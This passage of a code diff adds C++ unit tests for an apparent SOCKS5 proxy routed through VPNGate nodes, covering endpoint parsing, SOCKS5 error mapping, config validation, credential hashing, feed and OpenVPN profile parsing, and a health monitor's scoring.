::ovgtest::fail(__FILE__, __LINE__, \
|
||||
"CHECK_LT(" #a ", " #b ")\n left = " + \
|
||||
::ovgtest::to_str(ovg_a) + \
|
||||
"\n right = " + ::ovgtest::to_str(ovg_b)); \
|
||||
} while (0)
|
||||
|
||||
#define CHECK_GT(a, b) CHECK_LT(b, a)
|
||||
|
||||
#define CHECK_NEAR(a, b, tol) \
|
||||
do { \
|
||||
const double ovg_d = static_cast<double>(a) - static_cast<double>(b); \
|
||||
if (ovg_d > (tol) || -ovg_d > (tol)) \
|
||||
::ovgtest::fail(__FILE__, __LINE__, \
|
||||
"CHECK_NEAR(" #a ", " #b ")\n left = " + \
|
||||
::ovgtest::to_str(static_cast<double>(a)) + \
|
||||
"\n right = " + \
|
||||
::ovgtest::to_str(static_cast<double>(b))); \
|
||||
} while (0)
|
||||
@@ -0,0 +1,271 @@
|
||||
#include "common/config.h"
|
||||
#include "common/endpoint.h"
|
||||
#include "common/error.h"
|
||||
#include "common/metrics.h"
|
||||
#include "harness.h"
|
||||
|
||||
using namespace ovg;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Endpoint
|
||||
|
||||
OVG_TEST(IpAddressParseV4) {
|
||||
auto a = IpAddress::parse("192.168.1.1");
|
||||
CHECK(a.has_value());
|
||||
CHECK(a->is_v4());
|
||||
CHECK_EQ(a->to_string(), std::string("192.168.1.1"));
|
||||
CHECK_EQ(a->v4_host_order(), uint32_t(0xC0A80101));
|
||||
CHECK_EQ(a->byte_len(), size_t(4));
|
||||
}
|
||||
|
||||
OVG_TEST(IpAddressParseV6) {
|
||||
auto a = IpAddress::parse("2001:db8::1");
|
||||
CHECK(a.has_value());
|
||||
CHECK(a->is_v6());
|
||||
CHECK_EQ(a->to_string(), std::string("2001:db8::1"));
|
||||
CHECK_EQ(a->byte_len(), size_t(16));
|
||||
}
|
||||
|
||||
OVG_TEST(IpAddressRejectsGarbage) {
|
||||
CHECK(!IpAddress::parse("example.com").has_value());
|
||||
CHECK(!IpAddress::parse("999.1.1.1").has_value());
|
||||
CHECK(!IpAddress::parse("").has_value());
|
||||
}
|
||||
|
||||
OVG_TEST(IpAddressFromBytes) {
|
||||
const uint8_t b[4] = {8, 8, 4, 4};
|
||||
auto a = IpAddress::from_bytes_v4(b);
|
||||
CHECK_EQ(a.to_string(), std::string("8.8.4.4"));
|
||||
CHECK_EQ(a, *IpAddress::parse("8.8.4.4"));
|
||||
}
|
||||
|
||||
OVG_TEST(EndpointParseForms) {
|
||||
auto v4 = Endpoint::parse("1.2.3.4:80");
|
||||
CHECK(v4.has_value());
|
||||
CHECK(v4->kind() == Endpoint::Kind::Ipv4);
|
||||
CHECK_EQ(v4->port(), uint16_t(80));
|
||||
CHECK_EQ(v4->to_string(), std::string("1.2.3.4:80"));
|
||||
|
||||
auto v6 = Endpoint::parse("[::1]:8080");
|
||||
CHECK(v6.has_value());
|
||||
CHECK(v6->kind() == Endpoint::Kind::Ipv6);
|
||||
CHECK_EQ(v6->port(), uint16_t(8080));
|
||||
CHECK_EQ(v6->to_string(), std::string("[::1]:8080"));
|
||||
|
||||
auto dom = Endpoint::parse("example.com:443");
|
||||
CHECK(dom.has_value());
|
||||
CHECK(dom->is_domain());
|
||||
CHECK_EQ(dom->domain(), std::string("example.com"));
|
||||
CHECK_EQ(dom->host_string(), std::string("example.com"));
|
||||
}
|
||||
|
||||
OVG_TEST(EndpointDomainStaysUnresolved) {
|
||||
// The whole point of keeping Domain as a kind: no local DNS lookup happens,
|
||||
// so nothing leaks outside the tunnel.
|
||||
Endpoint e("example.com", 443);
|
||||
CHECK(e.is_domain());
|
||||
CHECK(!e.address().valid());
|
||||
}
|
||||
|
||||
OVG_TEST(EndpointRejectsBadInput) {
|
||||
CHECK(!Endpoint::parse("1.2.3.4").has_value()); // no port
|
||||
CHECK(!Endpoint::parse("1.2.3.4:99999").has_value()); // port out of range
|
||||
CHECK(!Endpoint::parse("").has_value());
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Errors
|
||||
|
||||
OVG_TEST(ErrorCodesMapToSocks5Replies) {
|
||||
auto rep = [](Error e) { return int(socks5_reply_for(make_error_code(e))); };
|
||||
CHECK_EQ(rep(Error::Ok), 0x00);
|
||||
CHECK_EQ(rep(Error::ConnectionRefused), 0x05);
|
||||
CHECK_EQ(rep(Error::NetworkUnreachable), 0x03);
|
||||
CHECK_EQ(rep(Error::HostUnreachable), 0x04);
|
||||
CHECK_EQ(rep(Error::ResolveFailed), 0x04);
|
||||
CHECK_EQ(rep(Error::Timeout), 0x06); // TTL expired
|
||||
CHECK_EQ(rep(Error::NotSupported), 0x07);
|
||||
// A dead or draining egress looks like an unreachable network to the client.
|
||||
CHECK_EQ(rep(Error::EgressDraining), 0x03);
|
||||
CHECK_EQ(rep(Error::EgressGone), 0x03);
|
||||
// Anything unmapped must still be a valid REP value, not a random byte.
|
||||
CHECK_EQ(rep(Error::Internal), 0x01);
|
||||
}
|
||||
|
||||
OVG_TEST(Socks5ReplyMapsSystemErrors) {
|
||||
// asio hands us std::errc, not our category.
|
||||
CHECK_EQ(int(socks5_reply_for(std::make_error_code(
|
||||
std::errc::connection_refused))),
|
||||
0x05);
|
||||
CHECK_EQ(int(socks5_reply_for(std::make_error_code(std::errc::timed_out))),
|
||||
0x06);
|
||||
CHECK_EQ(int(socks5_reply_for(std::error_code())), 0x00);
|
||||
}
|
||||
|
||||
OVG_TEST(ErrorCodesHaveMessages) {
|
||||
const std::error_code ec = Error::EgressDraining; // implicit conversion
|
||||
CHECK(ec); // non-zero
|
||||
CHECK(!ec.message().empty());
|
||||
CHECK(!make_error_code(Error::Ok));
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Metrics
|
||||
|
||||
OVG_TEST(MetricsHandlesAreStable) {
|
||||
auto *a = metrics::counter("ovg_test_thing_total", "help");
|
||||
auto *b = metrics::counter("ovg_test_thing_total");
|
||||
CHECK_EQ(a, b);
|
||||
a->inc(3);
|
||||
CHECK_EQ(b->value(), uint64_t(3));
|
||||
}
|
||||
|
||||
OVG_TEST(MetricsRenderPrometheus) {
|
||||
metrics::gauge("ovg_test_gauge", "a gauge")->set(42);
|
||||
const auto text = metrics::Registry::instance().render_prometheus();
|
||||
CHECK_NE(text.find("# TYPE ovg_test_gauge gauge"), std::string::npos);
|
||||
CHECK_NE(text.find("ovg_test_gauge 42"), std::string::npos);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Config
|
||||
|
||||
OVG_TEST(ParseDurationUnits) {
|
||||
Millis m{};
|
||||
CHECK(parse_duration("250ms", &m));
|
||||
CHECK_EQ(m.count(), int64_t(250));
|
||||
CHECK(parse_duration("30s", &m));
|
||||
CHECK_EQ(m.count(), int64_t(30000));
|
||||
CHECK(parse_duration("5m", &m));
|
||||
CHECK_EQ(m.count(), int64_t(300000));
|
||||
CHECK(parse_duration("2h", &m));
|
||||
CHECK_EQ(m.count(), int64_t(7200000));
|
||||
CHECK(parse_duration("1d", &m));
|
||||
CHECK_EQ(m.count(), int64_t(86400000));
|
||||
// Bare number = seconds.
|
||||
CHECK(parse_duration("45", &m));
|
||||
CHECK_EQ(m.count(), int64_t(45000));
|
||||
}
|
||||
|
||||
OVG_TEST(ParseDurationRejectsGarbage) {
|
||||
Millis m{};
|
||||
CHECK(!parse_duration("", &m));
|
||||
CHECK(!parse_duration("soon", &m));
|
||||
CHECK(!parse_duration("-5s", &m));
|
||||
CHECK(!parse_duration("5 fortnights", &m));
|
||||
}
|
||||
|
||||
OVG_TEST(ConfigDefaultsRefuseAnonymousProxy) {
|
||||
// Secure by default: auth is on and there are no users, so a config that
|
||||
// defines neither must be rejected rather than quietly opening an open relay.
|
||||
Config c;
|
||||
std::string err;
|
||||
CHECK(!c.validate(&err));
|
||||
CHECK_NE(err.find("require_auth"), std::string::npos);
|
||||
|
||||
CHECK_EQ(c.socks5.listen_port, uint16_t(1080));
|
||||
CHECK_EQ(c.socks5.listen_address, std::string("127.0.0.1"));
|
||||
CHECK(c.socks5.require_auth);
|
||||
CHECK(c.socks5.udp_associate_enabled);
|
||||
|
||||
// With a user it validates.
|
||||
c.socks5.users.push_back(make_credential("alice", "hunter2"));
|
||||
CHECK(c.validate(&err));
|
||||
}
|
||||
|
||||
OVG_TEST(ConfigLoadsSections) {
|
||||
const char *text = R"(
|
||||
# a comment
|
||||
[socks5]
|
||||
listen_address = 0.0.0.0
|
||||
listen_port = 1081
|
||||
advertise_address = 203.0.113.7
|
||||
idle_timeout = 90s
|
||||
max_sessions = 2000
|
||||
|
||||
[selector]
|
||||
country_allow = JP, KR, SG
|
||||
prefer_udp = false
|
||||
probe_candidates = 20
|
||||
|
||||
[switch]
|
||||
mode = hard
|
||||
drain_grace = 30s
|
||||
|
||||
[users]
|
||||
alice = hunter2
|
||||
)";
|
||||
Config c;
|
||||
std::string err;
|
||||
CHECK(Config::load_string(text, &c, &err));
|
||||
CHECK_EQ(err, std::string(""));
|
||||
|
||||
CHECK_EQ(c.socks5.listen_address, std::string("0.0.0.0"));
|
||||
CHECK_EQ(c.socks5.listen_port, uint16_t(1081));
|
||||
CHECK_EQ(c.socks5.idle_timeout.count(), int64_t(90000));
|
||||
CHECK_EQ(c.socks5.max_sessions, size_t(2000));
|
||||
|
||||
CHECK_EQ(c.selector.country_allow.size(), size_t(3));
|
||||
CHECK_EQ(c.selector.country_allow[2], std::string("SG"));
|
||||
CHECK(!c.selector.prefer_udp);
|
||||
CHECK_EQ(c.selector.probe_candidates, size_t(20));
|
||||
|
||||
CHECK(c.switching.mode == SwitchConfig::Mode::Hard);
|
||||
CHECK_EQ(c.switching.drain_grace.count(), int64_t(30000));
|
||||
|
||||
CHECK_EQ(c.socks5.users.size(), size_t(1));
|
||||
CHECK_EQ(c.socks5.users[0].username, std::string("alice"));
|
||||
CHECK(verify_credential(c.socks5.users[0], "hunter2"));
|
||||
}
|
||||
|
||||
OVG_TEST(ConfigRejectsUnknownKey) {
|
||||
// A key nobody reads is a key that silently does nothing. Catch it at load.
|
||||
Config c;
|
||||
std::string err;
|
||||
CHECK(!Config::load_string(
|
||||
"[socks5]\nlisten_prot = 1080\n[users]\na = b\n", &c, &err));
|
||||
CHECK_NE(err.find("socks5.listen_prot"), std::string::npos);
|
||||
}
|
||||
|
||||
OVG_TEST(ConfigAcceptsUserDefinedSections) {
|
||||
// [users] and [log.modules] have keys we cannot enumerate; they must not be
|
||||
// mistaken for typos by the unknown-key check.
|
||||
Config c;
|
||||
std::string err;
|
||||
CHECK(Config::load_string(
|
||||
"[log.modules]\nsocks5 = debug\nselector = warn\n"
|
||||
"[users]\nalice = a\nbob = b\n",
|
||||
&c, &err));
|
||||
CHECK_EQ(err, std::string(""));
|
||||
CHECK_EQ(c.socks5.users.size(), size_t(2));
|
||||
CHECK(c.logging.module_levels.at("socks5") == log::Level::Debug);
|
||||
CHECK(c.logging.module_levels.at("selector") == log::Level::Warn);
|
||||
}
|
||||
|
||||
OVG_TEST(ConfigRejectsBadValues) {
|
||||
Config c;
|
||||
std::string err;
|
||||
CHECK(!Config::load_string("[socks5]\nlisten_port = eighty\n[users]\na=b\n",
|
||||
&c, &err));
|
||||
CHECK(!Config::load_string("[switch]\nmode = sideways\n[users]\na=b\n", &c,
|
||||
&err));
|
||||
CHECK(!Config::load_string("[dns]\nfallback_servers = dns.example.com\n"
|
||||
"[users]\na=b\n",
|
||||
&c, &err));
|
||||
CHECK_NE(err.find("IP literals"), std::string::npos);
|
||||
}
|
||||
|
||||
OVG_TEST(CredentialsAreSaltedAndVerify) {
|
||||
auto c = make_credential("alice", "hunter2");
|
||||
CHECK_EQ(c.username, std::string("alice"));
|
||||
CHECK(!c.salt_hex.empty());
|
||||
CHECK_EQ(c.hash_hex.size(), size_t(64)); // sha256 hex
|
||||
CHECK(verify_credential(c, "hunter2"));
|
||||
CHECK(!verify_credential(c, "hunter3"));
|
||||
CHECK(!verify_credential(c, ""));
|
||||
|
||||
// Same password, different salt => different hash.
|
||||
auto d = make_credential("alice", "hunter2");
|
||||
CHECK_NE(c.salt_hex, d.salt_hex);
|
||||
CHECK_NE(c.hash_hex, d.hash_hex);
|
||||
}
|
||||
@@ -0,0 +1,248 @@
|
||||
// The VPNGate feed is hostile in a boring way: very long lines, volunteer-typed
|
||||
// free text, and occasional rows that are simply broken. These tests pin the
|
||||
// two behaviours we actually depend on -- no line-length assumptions, and one
|
||||
// bad row never costs us the rest of the list.
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
|
||||
#include "harness.h"
|
||||
#include "vpngate/csv_parser.h"
|
||||
|
||||
using namespace ovg::vpngate;
|
||||
|
||||
namespace {
|
||||
|
||||
std::string read_sample() {
|
||||
std::ifstream in(ovgtest::data_path("vpngate_sample.csv"), std::ios::binary);
|
||||
CHECK(in.good());
|
||||
std::ostringstream ss;
|
||||
ss << in.rdbuf();
|
||||
return ss.str();
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
OVG_TEST(SplitCsvBasic) {
|
||||
auto f = split_csv_line("a,b,c");
|
||||
CHECK_EQ(f.size(), size_t(3));
|
||||
CHECK_EQ(f[0], std::string("a"));
|
||||
CHECK_EQ(f[2], std::string("c"));
|
||||
}
|
||||
|
||||
OVG_TEST(SplitCsvEmptyFields) {
|
||||
auto f = split_csv_line("a,,c,");
|
||||
CHECK_EQ(f.size(), size_t(4));
|
||||
CHECK_EQ(f[1], std::string(""));
|
||||
CHECK_EQ(f[3], std::string(""));
|
||||
}
|
||||
|
||||
OVG_TEST(SplitCsvQuotedCommaAndDoubledQuote) {
|
||||
auto f = split_csv_line(R"(a,"b,still b","he said ""hi""",d)");
|
||||
CHECK_EQ(f.size(), size_t(4));
|
||||
CHECK_EQ(f[1], std::string("b,still b"));
|
||||
CHECK_EQ(f[2], std::string("he said \"hi\""));
|
||||
CHECK_EQ(f[3], std::string("d"));
|
||||
}
|
||||
|
||||
OVG_TEST(SplitCsvStripsTrailingCr) {
|
||||
auto f = split_csv_line("a,b\r");
|
||||
CHECK_EQ(f.size(), size_t(2));
|
||||
CHECK_EQ(f[1], std::string("b"));
|
||||
}
|
||||
|
||||
OVG_TEST(SplitCsvToleratesStrayQuote) {
|
||||
// Volunteers type things like: Operator: 5" floppy fan club
|
||||
auto f = split_csv_line("a,5\" floppy,c");
|
||||
CHECK_EQ(f.size(), size_t(3));
|
||||
CHECK_EQ(f[2], std::string("c"));
|
||||
}
|
||||
|
||||
OVG_TEST(Base64RoundTrip) {
|
||||
std::string out;
|
||||
CHECK(base64_decode("aGVsbG8gd29ybGQ=", &out));
|
||||
CHECK_EQ(out, std::string("hello world"));
|
||||
|
||||
CHECK(base64_decode("", &out));
|
||||
CHECK_EQ(out, std::string(""));
|
||||
|
||||
// Embedded newlines are common in the wild; they must be ignored, not fatal.
|
||||
CHECK(base64_decode("aGVs\nbG8g\nd29ybGQ=", &out));
|
||||
CHECK_EQ(out, std::string("hello world"));
|
||||
}
|
||||
|
||||
OVG_TEST(Base64RejectsGarbage) {
|
||||
std::string out;
|
||||
CHECK(!base64_decode("not*valid*base64", &out));
|
||||
}
|
||||
|
||||
OVG_TEST(ExtractRemotesHonoursProtoRegardlessOfOrder) {
|
||||
// "proto" appears *after* the remotes here. A single-pass parser would
|
||||
// mislabel both as the default TCP.
|
||||
const char *profile =
|
||||
"client\n"
|
||||
"dev tun\n"
|
||||
"remote 1.2.3.4 1194\n"
|
||||
"remote 1.2.3.4 443\n"
|
||||
"proto udp\n"
|
||||
"resolv-retry infinite\n";
|
||||
auto r = extract_remotes(profile);
|
||||
CHECK_EQ(r.size(), size_t(2));
|
||||
CHECK(r[0].proto == Proto::Udp);
|
||||
CHECK(r[1].proto == Proto::Udp);
|
||||
CHECK_EQ(r[0].port, uint16_t(1194));
|
||||
CHECK_EQ(r[1].port, uint16_t(443));
|
||||
}
|
||||
|
||||
OVG_TEST(ExtractRemotesPerRemoteProtoWins) {
|
||||
const char *profile =
|
||||
"proto tcp\n"
|
||||
"remote 1.2.3.4 1194 udp\n"
|
||||
"remote 5.6.7.8 443\n";
|
||||
auto r = extract_remotes(profile);
|
||||
CHECK_EQ(r.size(), size_t(2));
|
||||
CHECK(r[0].proto == Proto::Udp);
|
||||
CHECK(r[1].proto == Proto::Tcp);
|
||||
}
|
||||
|
||||
OVG_TEST(ExtractRemotesUnderstandsTcpClient) {
|
||||
const char *profile = "proto tcp-client\nremote 1.2.3.4 443\n";
|
||||
auto r = extract_remotes(profile);
|
||||
CHECK_EQ(r.size(), size_t(1));
|
||||
CHECK(r[0].proto == Proto::Tcp);
|
||||
}
|
||||
|
||||
OVG_TEST(ExtractRemotesAppliesBarePortDirective) {
|
||||
const char *profile = "port 1194\nremote 1.2.3.4\nproto udp\n";
|
||||
auto r = extract_remotes(profile);
|
||||
CHECK_EQ(r.size(), size_t(1));
|
||||
CHECK_EQ(r[0].port, uint16_t(1194));
|
||||
}
|
||||
|
||||
OVG_TEST(ExtractRemotesIgnoresInlineBlocks) {
|
||||
// Two traps. A <connection> block declares an alternative remote we never
|
||||
// scored -- and the sanitizer strips those blocks outright, so counting it
|
||||
// here would make the node list and the profile we actually dial disagree.
|
||||
// A PEM body is arbitrary base64 that can start a line with any word.
|
||||
const char *profile =
|
||||
"remote 1.2.3.4 443 tcp\n"
|
||||
"<connection>\n"
|
||||
"remote 9.9.9.9 1194 udp\n"
|
||||
"</connection>\n"
|
||||
"<ca>\n"
|
||||
"remote 8.8.8.8 53 udp\n"
|
||||
"proto udp\n"
|
||||
"-----END CERTIFICATE-----\n"
|
||||
"</ca>\n";
|
||||
auto r = extract_remotes(profile);
|
||||
CHECK_EQ(r.size(), size_t(1));
|
||||
CHECK_EQ(r[0].host, std::string("1.2.3.4"));
|
||||
CHECK(r[0].proto == Proto::Tcp);
|
||||
}
|
||||
|
||||
OVG_TEST(ExtractRemotesMatchesBlockTagsCaseInsensitively) {
|
||||
const char *profile =
|
||||
"remote 1.2.3.4 443 tcp\n"
|
||||
"<CA>\n"
|
||||
"remote 9.9.9.9 1194 udp\n"
|
||||
"</ca>\n"
|
||||
"remote 5.6.7.8 443 tcp\n";
|
||||
auto r = extract_remotes(profile);
|
||||
CHECK_EQ(r.size(), size_t(2));
|
||||
CHECK_EQ(r[1].host, std::string("5.6.7.8"));
|
||||
}
|
||||
|
||||
OVG_TEST(ParseRejectsHtmlErrorPage) {
|
||||
ParseResult res;
|
||||
std::string err;
|
||||
CHECK(!parse_node_list("<html><body>503</body></html>", &res, &err));
|
||||
CHECK(!err.empty());
|
||||
}
|
||||
|
||||
OVG_TEST(ParseRejectsMissingMagic) {
|
||||
ParseResult res;
|
||||
std::string err;
|
||||
CHECK(!parse_node_list("#HostName,IP\nfoo,1.2.3.4\n", &res, &err));
|
||||
}
|
||||
|
||||
OVG_TEST(ParseSkipsBadRowsAndKeepsGoing) {
|
||||
// Row 2 is truncated, row 3 has undecodable base64. Row 1 and 4 must survive.
|
||||
std::string good_profile_b64;
|
||||
{
|
||||
// "client\nremote 1.2.3.4 443 tcp\n" base64-encoded.
|
||||
good_profile_b64 = "Y2xpZW50CnJlbW90ZSAxLjIuMy40IDQ0MyB0Y3AK";
|
||||
}
|
||||
std::ostringstream body;
|
||||
body << "*vpn_servers\n"
|
||||
<< "#HostName,IP,Score,Ping,Speed,CountryLong,CountryShort,"
|
||||
"NumVpnSessions,Uptime,TotalUsers,TotalTraffic,LogType,Operator,"
|
||||
"Message,OpenVPN_ConfigData_Base64\n"
|
||||
<< "ok1,1.1.1.1,100,10,1000,Japan,JP,1,1000,1,1,2weeks,op,,"
|
||||
<< good_profile_b64 << "\n"
|
||||
<< "truncated,2.2.2.2,100\n"
|
||||
<< "badb64,3.3.3.3,100,10,1000,Japan,JP,1,1000,1,1,2weeks,op,,!!!!\n"
|
||||
<< "ok2,4.4.4.4,200,20,2000,Korea,KR,2,2000,2,2,2weeks,op,,"
|
||||
<< good_profile_b64 << "\n"
|
||||
<< "*\n";
|
||||
|
||||
ParseResult res;
|
||||
std::string err;
|
||||
CHECK(parse_node_list(body.str(), &res, &err));
|
||||
CHECK_EQ(res.nodes.size(), size_t(2));
|
||||
CHECK_EQ(res.nodes[0].host_name, std::string("ok1"));
|
||||
CHECK_EQ(res.nodes[1].host_name, std::string("ok2"));
|
||||
CHECK_EQ(res.stats.data_rows, size_t(4));
|
||||
CHECK_EQ(res.stats.accepted, size_t(2));
|
||||
CHECK_EQ(res.stats.skipped_columns, size_t(1));
|
||||
CHECK_EQ(res.stats.skipped_base64, size_t(1));
|
||||
}
|
||||
|
||||
OVG_TEST(ParseRealSampleFeed) {
|
||||
const auto body = read_sample();
|
||||
CHECK_GT(body.size(), size_t(1000000));
|
||||
|
||||
ParseResult res;
|
||||
std::string err;
|
||||
CHECK(parse_node_list(body, &res, &err));
|
||||
|
||||
// The captured feed had 96 data rows; every one of them should parse.
|
||||
CHECK_GT(res.nodes.size(), size_t(80));
|
||||
CHECK_EQ(res.stats.accepted, res.stats.data_rows);
|
||||
|
||||
for (const auto &n : res.nodes) {
|
||||
CHECK(!n.host_name.empty());
|
||||
CHECK(!n.ip.empty());
|
||||
CHECK(!n.remotes.empty());
|
||||
// openvpn3 needs the whole profile, inline certs and all.
|
||||
CHECK_GT(n.profile.size(), size_t(1000));
|
||||
CHECK_NE(n.profile.find("<ca>"), std::string::npos);
|
||||
CHECK_NE(n.id().find('@'), std::string::npos);
|
||||
}
|
||||
}
|
||||
|
||||
OVG_TEST(RealSampleHasVeryLongLines) {
|
||||
// Guards the requirement explicitly: if this ever fits in a 4 KB buffer, the
|
||||
// test data stopped being representative.
|
||||
const auto body = read_sample();
|
||||
size_t longest = 0, start = 0;
|
||||
for (size_t i = 0; i <= body.size(); ++i) {
|
||||
if (i == body.size() || body[i] == '\n') {
|
||||
longest = std::max(longest, i - start);
|
||||
start = i + 1;
|
||||
}
|
||||
}
|
||||
CHECK_GT(longest, size_t(8192));
|
||||
}
|
||||
|
||||
OVG_TEST(RealSampleNodesOfferTcp443) {
|
||||
// The tunnel design assumes almost every node exposes TCP; the prober cannot
|
||||
// time a UDP-only node (see selector/prober.h).
|
||||
const auto body = read_sample();
|
||||
ParseResult res;
|
||||
std::string err;
|
||||
CHECK(parse_node_list(body, &res, &err));
|
||||
|
||||
size_t with_tcp = 0;
|
||||
for (const auto &n : res.nodes)
|
||||
if (n.has_tcp()) ++with_tcp;
|
||||
CHECK_GT(with_tcp, res.nodes.size() * 9 / 10);
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,433 @@
|
||||
// Health monitor and switch controller.
|
||||
//
|
||||
// The monitor is scored arithmetic over an egress it does not own, so the whole
|
||||
// module can be exercised against a fake egress with no tunnel, no sockets and
|
||||
// no waiting: the probe outcome, the byte counters and the connect ledger are
|
||||
// all set directly by the test. What is worth testing here is the scoring
|
||||
// policy, not asio -- specifically the three things that are easy to get
|
||||
// backwards:
|
||||
//
|
||||
// * a signal that is *missing* (the direct egress keeps no byte counters)
|
||||
// must renormalise out of the score rather than count as a failure;
|
||||
// * a failed probe must not be averaged back into "fine" by healthy-looking
|
||||
// counters around it;
|
||||
// * a sustained-unhealthy report fires once per degradation, not once per
|
||||
// round, or every interval queues another switch request for a decision
|
||||
// already taken.
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <atomic>
|
||||
#include <chrono>
|
||||
#include <memory>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "common/error.h"
|
||||
#include "egress/egress.h"
|
||||
#include "egress/egress_manager.h"
|
||||
#include "harness.h"
|
||||
#include "health/health_monitor.h"
|
||||
#include "health/switch_controller.h"
|
||||
|
||||
using namespace ovg;
|
||||
using namespace std::chrono_literals;
|
||||
|
||||
namespace {
|
||||
|
||||
bool run_until(asio::io_context &io, const std::function<bool()> &pred,
|
||||
std::chrono::milliseconds limit) {
|
||||
const auto deadline = std::chrono::steady_clock::now() + limit;
|
||||
while (std::chrono::steady_clock::now() < deadline) {
|
||||
if (pred()) return true;
|
||||
io.run_for(5ms);
|
||||
io.restart();
|
||||
}
|
||||
return pred();
|
||||
}
|
||||
|
||||
// An egress whose every health input is a public member. `connect_result`
|
||||
// decides what the probe sees; `stats_` is whatever the test wants reported.
|
||||
class ProbeEgress final : public egress::Egress {
|
||||
public:
|
||||
explicit ProbeEgress(asio::io_context &io) : io_(io), label_("fake-node") {
|
||||
stats_.node_id = "fake-node";
|
||||
stats_.proto = "fake";
|
||||
}
|
||||
|
||||
void async_connect_tcp(const asio::any_io_executor &ex, const Endpoint &ep,
|
||||
Millis, ConnectHandler h) override {
|
||||
probes.fetch_add(1);
|
||||
last_target = ep.to_string();
|
||||
if (hang) return; // handler dropped on purpose: exercises the guard timer
|
||||
auto ec = connect_ec;
|
||||
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
|
||||
}
|
||||
void async_bind_udp(const asio::any_io_executor &ex,
|
||||
UdpBindHandler h) override {
|
||||
asio::post(ex, [h = std::move(h)]() mutable {
|
||||
h(make_error_code(Error::NotSupported), nullptr);
|
||||
});
|
||||
}
|
||||
void async_resolve(const asio::any_io_executor &ex, const std::string &,
|
||||
ResolveHandler h) override {
|
||||
asio::post(ex, [h = std::move(h)]() mutable {
|
||||
h(make_error_code(Error::NotSupported), {});
|
||||
});
|
||||
}
|
||||
|
||||
egress::EgressState state() const override { return state_.load(); }
|
||||
egress::EgressStats stats() const override { return stats_; }
|
||||
std::string detail() const override { return detail_; }
|
||||
void begin_drain() override {}
|
||||
void shutdown(std::function<void()> on_done) override {
|
||||
state_.store(egress::EgressState::Down);
|
||||
if (on_done) asio::post(io_, std::move(on_done));
|
||||
}
|
||||
const std::string &label() const override { return label_; }
|
||||
|
||||
std::error_code connect_ec{};
|
||||
bool hang = false;
|
||||
std::atomic<int> probes{0};
|
||||
std::string last_target;
|
||||
std::atomic<egress::EgressState> state_{egress::EgressState::Ready};
|
||||
egress::EgressStats stats_;
|
||||
std::string detail_;
|
||||
|
||||
private:
|
||||
asio::io_context &io_;
|
||||
std::string label_;
|
||||
};
|
||||
|
||||
// A monitor over one fake egress, with the timing wound down so a "sustained"
|
||||
// verdict takes milliseconds instead of a minute.
|
||||
//
|
||||
// The config is copied into the monitor at construction, so `tweak` is where a
|
||||
// test changes it -- there is no setter afterwards, by design.
|
||||
struct Fixture {
|
||||
asio::io_context io;
|
||||
std::shared_ptr<ProbeEgress> eg = std::make_shared<ProbeEgress>(io);
|
||||
HealthConfig cfg;
|
||||
std::unique_ptr<health::HealthMonitor> mon;
|
||||
std::vector<std::string> unhealthy;
|
||||
bool provide = true;
|
||||
|
||||
explicit Fixture(int windows = 2,
|
||||
const std::function<void(HealthConfig &)> &tweak = {}) {
|
||||
cfg.interval = 20ms;
|
||||
cfg.probe_timeout = 200ms;
|
||||
cfg.unhealthy_windows = windows;
|
||||
cfg.probe_domain = "probe.invalid";
|
||||
cfg.probe_port = 8080;
|
||||
if (tweak) tweak(cfg);
|
||||
mon = std::make_unique<health::HealthMonitor>(
|
||||
io, cfg, [this]() -> egress::EgressPtr {
|
||||
return provide ? eg : nullptr;
|
||||
});
|
||||
mon->set_on_unhealthy(
|
||||
[this](const std::string &why) { unhealthy.push_back(why); });
|
||||
}
|
||||
~Fixture() {
|
||||
mon->stop();
|
||||
io.run_for(50ms);
|
||||
}
|
||||
|
||||
// Waits for `n` completed rounds rather than for wall-clock time.
|
||||
bool rounds(uint64_t n, std::chrono::milliseconds limit = 3s) {
|
||||
return run_until(io, [this, n] { return mon->rounds() >= n; }, limit);
|
||||
}
|
||||
// Waits for `n` more rounds than have already happened.
|
||||
bool more_rounds(uint64_t n, std::chrono::milliseconds limit = 3s) {
|
||||
return rounds(mon->rounds() + n, limit);
|
||||
}
|
||||
};
|
||||
|
||||
} // namespace
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Scoring
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
OVG_TEST(health_scores_a_working_egress_healthy) {
|
||||
Fixture f;
|
||||
f.mon->start();
|
||||
CHECK(f.rounds(1));
|
||||
|
||||
const auto s = f.mon->last();
|
||||
CHECK(s.egress_present);
|
||||
CHECK(s.tunnel_up);
|
||||
CHECK(s.probe_ok);
|
||||
CHECK(s.healthy);
|
||||
// Three terms available (rtt, connect, loss), all near perfect against a fake
|
||||
// that answers instantly. Anything below 0.9 means a term scored a missing
|
||||
// input as a bad one.
|
||||
CHECK_GT(s.score, 0.9);
|
||||
CHECK(f.unhealthy.empty());
|
||||
}
|
||||
|
||||
OVG_TEST(health_probes_the_configured_host_and_port) {
|
||||
Fixture f;
|
||||
f.mon->start();
|
||||
CHECK(f.rounds(1));
|
||||
// The probe target is a TCP handshake to probe_domain:probe_port. A DNS
|
||||
// lookup here would be answered from cache without crossing the tunnel.
|
||||
CHECK_EQ(f.eg->last_target, std::string("probe.invalid:8080"));
|
||||
}
|
||||
|
||||
OVG_TEST(health_renormalises_around_a_missing_stall_signal) {
|
||||
Fixture f;
|
||||
f.mon->start();
|
||||
CHECK(f.rounds(1));
|
||||
|
||||
// No byte counters at all -- the direct egress's situation.
|
||||
const auto without = f.mon->last();
|
||||
CHECK(!without.stall_known);
|
||||
|
||||
// Now give it traffic, which makes the stall term available and *not* stalled.
|
||||
f.eg->stats_.tun_bytes_out = 4096;
|
||||
f.eg->stats_.tcp_active = 1;
|
||||
CHECK(f.more_rounds(2));
|
||||
|
||||
const auto with = f.mon->last();
|
||||
CHECK(with.stall_known);
|
||||
// Adding a *satisfied* term must not move a healthy score materially. If the
|
||||
